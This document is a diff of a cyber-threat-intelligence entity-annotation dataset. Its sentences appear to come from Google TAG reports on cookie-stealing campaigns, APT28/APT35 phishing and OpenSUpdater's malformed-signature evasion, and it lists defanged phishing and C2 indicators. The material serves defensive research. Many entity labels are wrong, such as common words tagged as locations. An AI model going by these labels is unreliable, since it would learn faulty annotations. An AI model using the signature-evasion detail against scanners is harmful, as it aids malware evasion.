 {"id":8514,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":26294,"label":"location","start_offset":52,"end_offset":56},{"id":26295,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":26296,"label":"location","start_offset":75,"end_offset":79},{"id":26299,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":8515,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":26305,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":8516,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":8517,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":26308,"label":"location","start_offset":68,"end_offset":71},{"id":26309,"label":"location","start_offset":98,"end_offset":102},{"id":26310,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":8518,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":26311,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":8519,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":26313,"label":"location","start_offset":73,"end_offset":81},{"id":26314,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":8520,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":26315,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":8521,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":26317,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":8522,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":26318,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":26319,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":8523,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":26320,"label":"location","start_offset":9,"end_offset":15},{"id":26321,"label":"location","start_offset":30,"end_offset":34},{"id":26322,"label":"location","start_offset":46,"end_offset":53},{"id":26323,"label":"location","start_offset":54,"end_offset":58},{"id":26325,"label":"location","start_offset":141,"end_offset":144},{"id":26327,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":8524,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":26329,"label":"location","start_offset":46,"end_offset":50},{"id":26330,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":8525,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":26331,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":8526,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":26332,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":8527,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":26334,"label":"location","start_offset":54,"end_offset":59},{"id":26338,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":8528,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]}
-{"id":8529,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":26341,"label":"location","start_offset":7,"end_offset":11},{"id":26342,"label":"location","start_offset":39,"end_offset":44},{"id":26343,"label":"location","start_offset":45,"end_offset":49},{"id":26344,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":8530,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":26345,"label":"location","start_offset":49,"end_offset":53},{"id":26346,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":8531,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":26348,"label":"location","start_offset":32,"end_offset":35},{"id":26349,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":8532,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":26354,"label":"location","start_offset":10,"end_offset":16},{"id":26355,"label":"location","start_offset":126,"end_offset":129},{"id":26356,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":8533,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":26357,"label":"location","start_offset":14,"end_offset":18},{"id":26358,"label":"location","start_offset":30,"end_offset":33},{"id":26359,"label":"location","start_offset":103,"end_offset":106},{"id":26360,"label":"location","start_offset":145,"end_offset":149},{"id":26361,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":8534,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":26362,"label":"location","start_offset":75,"end_offset":78},{"id":26363,"label":"location","start_offset":109,"end_offset":113},{"id":26364,"label":"location","start_offset":114,"end_offset":117},{"id":26365,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":8535,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":26366,"label":"location","start_offset":88,"end_offset":92},{"id":26367,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":8536,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":26372,"label":"malware","start_offset":79,"end_offset":86},{"id":26379,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":8537,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":26383,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":26385,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":8538,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":26386,"label":"location","start_offset":15,"end_offset":18},{"id":26387,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8539,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":26388,"label":"location","start_offset":0,"end_offset":4},{"id":26389,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":8540,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":26390,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":8541,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
-{"id":8542,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":26391,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":8543,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":26392,"label":"location","start_offset":34,"end_offset":37},{"id":26393,"label":"location","start_offset":38,"end_offset":45},{"id":26394,"label":"location","start_offset":108,"end_offset":113},{"id":26395,"label":"location","start_offset":137,"end_offset":145},{"id":26396,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":8544,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":26397,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":8545,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
-{"id":8546,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":26398,"label":"location","start_offset":49,"end_offset":53},{"id":26400,"label":"location","start_offset":125,"end_offset":128},{"id":26402,"label":"location","start_offset":187,"end_offset":192},{"id":26403,"label":"location","start_offset":280,"end_offset":285},{"id":26404,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]}
-{"id":8547,"text":" We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":26405,"label":"location","start_offset":4,"end_offset":7},{"id":26406,"label":"location","start_offset":53,"end_offset":56},{"id":26407,"label":"location","start_offset":80,"end_offset":83},{"id":26408,"label":"location","start_offset":121,"end_offset":124},{"id":26409,"label":"location","start_offset":125,"end_offset":129},{"id":26410,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":8548,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":26411,"label":"location","start_offset":107,"end_offset":110},{"id":26412,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":8549,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":26413,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8550,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":26414,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":8551,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26416,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8552,"text":"We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":26417,"label":"location","start_offset":10,"end_offset":14},{"id":26418,"label":"location","start_offset":89,"end_offset":95},{"id":26419,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8553,"text":"So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.","entities":[{"id":26423,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8554,"text":"This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.","entities":[{"id":26425,"label":"location","start_offset":51,"end_offset":56},{"id":26426,"label":"location","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":8555,"text":"We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.","entities":[{"id":26430,"label":"location","start_offset":65,"end_offset":68},{"id":26431,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":8556,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
-{"id":8557,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[{"id":26436,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":8558,"text":"In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":26438,"label":"location","start_offset":37,"end_offset":41},{"id":26442,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":8559,"text":"This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.","entities":[{"id":26443,"label":"location","start_offset":12,"end_offset":15},{"id":26446,"label":"location","start_offset":71,"end_offset":76},{"id":26447,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":8560,"text":"For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":26449,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":8561,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":26452,"label":"APT","start_offset":15,"end_offset":20},{"id":26454,"label":"location","start_offset":64,"end_offset":74},{"id":26455,"label":"location","start_offset":78,"end_offset":82},{"id":26456,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":8562,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":26457,"label":"location","start_offset":60,"end_offset":67},{"id":26460,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":8561,"text":"In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.","entities":[{"id":26452,"label":"threat-actor","start_offset":15,"end_offset":20},{"id":26454,"label":"location","start_offset":64,"end_offset":74},{"id":26455,"label":"location","start_offset":78,"end_offset":82},{"id":26456,"label":"attack-pattern","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":8563,"text":"Users were instructed to activate an invitation to a (fake) webinar by logging in.","entities":[],"relations":[],"Comments":[]}
 {"id":8564,"text":"The phishing kit will also ask for second-factor authentication codes sent to devices.","entities":[{"id":26462,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":26463,"label":"location","start_offset":17,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":8565,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":26465,"label":"APT","start_offset":0,"end_offset":5},{"id":26467,"label":"location","start_offset":93,"end_offset":101},{"id":26469,"label":"location","start_offset":137,"end_offset":140},{"id":26470,"label":"location","start_offset":141,"end_offset":149},{"id":26471,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
+{"id":8565,"text":"APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":26465,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":26467,"label":"location","start_offset":93,"end_offset":101},{"id":26469,"label":"location","start_offset":137,"end_offset":140},{"id":26470,"label":"location","start_offset":141,"end_offset":149},{"id":26471,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":8566,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.","entities":[{"id":26472,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":26473,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":8567,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
-{"id":8568,"text":"The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.","entities":[{"id":26477,"label":"location","start_offset":100,"end_offset":104},{"id":26478,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":8569,"text":"Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.","entities":[{"id":26480,"label":"location","start_offset":32,"end_offset":35},{"id":26482,"label":"location","start_offset":90,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8570,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":26484,"label":"location","start_offset":45,"end_offset":48},{"id":26485,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":8571,"text":"One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.","entities":[{"id":26488,"label":"location","start_offset":11,"end_offset":15},{"id":26490,"label":"attack-pattern","start_offset":107,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":8572,"text":"Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.","entities":[{"id":26492,"label":"location","start_offset":35,"end_offset":38},{"id":26493,"label":"location","start_offset":58,"end_offset":63},{"id":26495,"label":"location","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":8573,"text":"When they did, attackers sent them phishing links in follow-on correspondence.","entities":[{"id":26496,"label":"location","start_offset":30,"end_offset":34},{"id":26497,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":8574,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":26499,"label":"location","start_offset":71,"end_offset":78},{"id":26500,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8575,"text":"Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.","entities":[{"id":26501,"label":"location","start_offset":16,"end_offset":19},{"id":26502,"label":"location","start_offset":35,"end_offset":38},{"id":26503,"label":"location","start_offset":70,"end_offset":73},{"id":26504,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":8576,"text":"We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.","entities":[{"id":26507,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":8577,"text":"Services from Dropbox and Microsoft are also abused.","entities":[{"id":26511,"label":"location","start_offset":22,"end_offset":25},{"id":26513,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":8578,"text":"One of APT35’s novel techniques involves using Telegram for operator notifications.","entities":[],"relations":[],"Comments":[]}
 {"id":8579,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":26517,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":26518,"label":"location","start_offset":63,"end_offset":67},{"id":26519,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8580,"text":"To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.","entities":[{"id":26522,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":8581,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":26523,"label":"location","start_offset":83,"end_offset":86},{"id":26524,"label":"location","start_offset":126,"end_offset":129},{"id":26525,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":26526,"label":"location","start_offset":168,"end_offset":173},{"id":26527,"label":"location","start_offset":177,"end_offset":181},{"id":26528,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":8582,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":26530,"label":"location","start_offset":32,"end_offset":35},{"id":26531,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":8583,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":26532,"label":"APT","start_offset":62,"end_offset":67},{"id":26533,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":8584,"text":"Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.","entities":[{"id":26535,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":8585,"text":"If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.","entities":[{"id":26537,"label":"location","start_offset":80,"end_offset":85},{"id":26538,"label":"location","start_offset":116,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":8586,"text":"Workspace administrators are also notified regarding targeted accounts in their domain.","entities":[{"id":26539,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":8587,"text":"Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.","entities":[{"id":26540,"label":"location","start_offset":6,"end_offset":9},{"id":26541,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":8588,"text":"We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.","entities":[{"id":26546,"label":"location","start_offset":85,"end_offset":93},{"id":26547,"label":"location","start_offset":148,"end_offset":151},{"id":26548,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
-{"id":8589,"text":"When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.","entities":[{"id":26550,"label":"location","start_offset":80,"end_offset":87},{"id":26551,"label":"location","start_offset":122,"end_offset":126},{"id":26552,"label":"location","start_offset":147,"end_offset":154},{"id":26553,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
+{"id":8583,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":26532,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":26533,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":8590,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
-{"id":8591,"text":"Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.","entities":[{"id":26557,"label":"location","start_offset":22,"end_offset":26},{"id":26558,"label":"location","start_offset":59,"end_offset":62},{"id":26559,"label":"location","start_offset":109,"end_offset":117},{"id":26560,"label":"location","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":8592,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":26561,"label":"APT","start_offset":16,"end_offset":21},{"id":26562,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":26563,"label":"location","start_offset":31,"end_offset":39},{"id":26564,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":26565,"label":"URL","start_offset":229,"end_offset":255},{"id":26566,"label":"location","start_offset":256,"end_offset":260},{"id":26567,"label":"URL","start_offset":292,"end_offset":318},{"id":26568,"label":"location","start_offset":319,"end_offset":323},{"id":26569,"label":"URL","start_offset":340,"end_offset":366},{"id":26570,"label":"location","start_offset":367,"end_offset":371},{"id":26571,"label":"malware","start_offset":410,"end_offset":417},{"id":26572,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
+{"id":8592,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":26561,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":26562,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":26563,"label":"location","start_offset":31,"end_offset":39},{"id":26564,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":26565,"label":"URL","start_offset":229,"end_offset":255},{"id":26566,"label":"location","start_offset":256,"end_offset":260},{"id":26567,"label":"URL","start_offset":292,"end_offset":318},{"id":26568,"label":"location","start_offset":319,"end_offset":323},{"id":26569,"label":"URL","start_offset":340,"end_offset":366},{"id":26570,"label":"location","start_offset":367,"end_offset":371},{"id":26571,"label":"malware","start_offset":410,"end_offset":417},{"id":26572,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
 {"id":8593,"text":"Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info  ","entities":[{"id":26573,"label":"attack-pattern","start_offset":0,"end_offset":8},{"id":26574,"label":"location","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":8594,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
-{"id":8595,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26576,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8596,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
-{"id":8597,"text":"This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.","entities":[{"id":26577,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":8598,"text":"Attackers often rely on varying behaviors between different systems to gain access.","entities":[{"id":26578,"label":"location","start_offset":42,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":8599,"text":"For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.","entities":[{"id":26579,"label":"location","start_offset":25,"end_offset":28},{"id":26580,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":8600,"text":"In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.","entities":[{"id":26581,"label":"location","start_offset":7,"end_offset":11},{"id":26582,"label":"location","start_offset":103,"end_offset":106},{"id":26584,"label":"location","start_offset":139,"end_offset":142},{"id":26586,"label":"location","start_offset":224,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":8601,"text":"We believe this is a technique the attacker is using to evade detection rules.","entities":[],"relations":[],"Comments":[]}
 {"id":8602,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
-{"id":8603,"text":"Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.","entities":[{"id":26588,"label":"location","start_offset":14,"end_offset":17},{"id":26589,"label":"location","start_offset":112,"end_offset":115},{"id":26590,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":8604,"text":"OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.","entities":[{"id":26592,"label":"location","start_offset":78,"end_offset":81},{"id":26593,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":8605,"text":"The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.","entities":[{"id":26595,"label":"location","start_offset":49,"end_offset":53},{"id":26596,"label":"location","start_offset":72,"end_offset":75},{"id":26597,"label":"location","start_offset":119,"end_offset":123},{"id":26599,"label":"location","start_offset":170,"end_offset":173},{"id":26600,"label":"location","start_offset":207,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":8606,"text":"Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.","entities":[{"id":26602,"label":"location","start_offset":31,"end_offset":34},{"id":26603,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
 {"id":8607,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":26605,"label":"malware","start_offset":18,"end_offset":30},{"id":26606,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":8608,"text":"In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.","entities":[{"id":26607,"label":"location","start_offset":67,"end_offset":74},{"id":26608,"label":"location","start_offset":175,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8609,"text":"EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).  ","entities":[{"id":26609,"label":"location","start_offset":63,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":8610,"text":"Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00","entities":[],"relations":[],"Comments":[]}
-{"id":8611,"text":"Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC  Security products using OpenSSL to extract signature information will reject this encoding as invalid.","entities":[{"id":26610,"label":"location","start_offset":132,"end_offset":140},{"id":26611,"label":"location","start_offset":197,"end_offset":201}],"relations":[],"Comments":[]}
